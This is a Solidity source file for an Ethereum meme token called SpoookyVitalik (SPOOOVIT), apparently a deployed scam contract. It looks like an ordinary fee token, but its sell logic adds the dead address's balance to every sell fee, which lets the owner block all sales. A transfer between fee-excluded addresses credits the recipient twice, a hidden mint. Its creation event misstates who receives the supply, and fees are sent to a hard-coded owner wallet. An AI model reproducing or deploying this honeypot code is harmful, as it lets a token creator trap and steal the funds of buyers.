文件 1 的 1:SPOOOVIT.sol
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
constructor () {
_owner = 0xe287037A6510f22849f301305b4f6032cA918e78;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
function renounceOwnership() public virtual {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SPOOOVIT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 12;
uint256 public _tTotal = 10**3 * 10**_decimals;
string private constant _name = unicode"SpoookyVitalik";
string private constant _symbol = unicode"SPOOOVIT";
uint8 private txCount = 0;
uint8 private swapTrigger = 10;
uint256 public _BuyFee = 0;
uint256 public _SellFee = 50;
uint256 public _maxWalletToken = 50 * _tTotal.div(1000);
uint256 public _maxTxAmount = _maxWalletToken;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
constructor () {
_tOwned[owner()] = _tTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0)] = true;
_isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
return true;
}
receive() external payable {}
function _getCurrentSupply() private view returns(uint256) {
return (_tTotal);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20 ERR: approve from the zero address");
require(spender != address(0), "BEP20 ERR: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if ( !_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
to != uniswapV2Pair){
uint256 heldTokens = balanceOf(to);
require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");
require(amount > 0, "Token amount must be higher than 0."); }
if ( !_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] ){
if(
txCount >= swapTrigger &&
from != uniswapV2Pair
)
{
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
txCount = 0;
swapTokensForETH(contractTokenBalance);
uint256 ETH_Tot = address(this).balance;
sendToWallet(payable(0xe287037A6510f22849f301305b4f6032cA918e78), ETH_Tot);
}
}
bool takeFee = true;
bool isBuy;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
} else {
if(from == uniswapV2Pair){
isBuy = true;
}
txCount++;
}
_tokenTransfer(from, to, amount, takeFee, isBuy);
}
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
if(!takeFee){
_tOwned[recipient] = _tOwned[recipient]+tAmount;
_tOwned[sender] = _tOwned[sender]-tAmount;
if(_isExcludedFromFee[sender] && _isExcludedFromFee[recipient]){
_tOwned[recipient] = _tOwned[recipient]+tAmount;
} else {emit Transfer(sender, recipient, tAmount); }
} else if (isBuy){
uint256 buyFEE = tAmount*_BuyFee/1000;
uint256 tTransferAmount = tAmount-buyFEE;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
_tOwned[address(this)] = _tOwned[address(this)]+buyFEE;
emit Transfer(sender, recipient, tTransferAmount);
} else {
uint256 sellFEE = _SellFee*tAmount/1000 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
uint256 tTransferAmount = tAmount-sellFEE;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
_tOwned[address(this)] = _tOwned[address(this)]+sellFEE;
emit Transfer(sender, recipient, tTransferAmount);
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}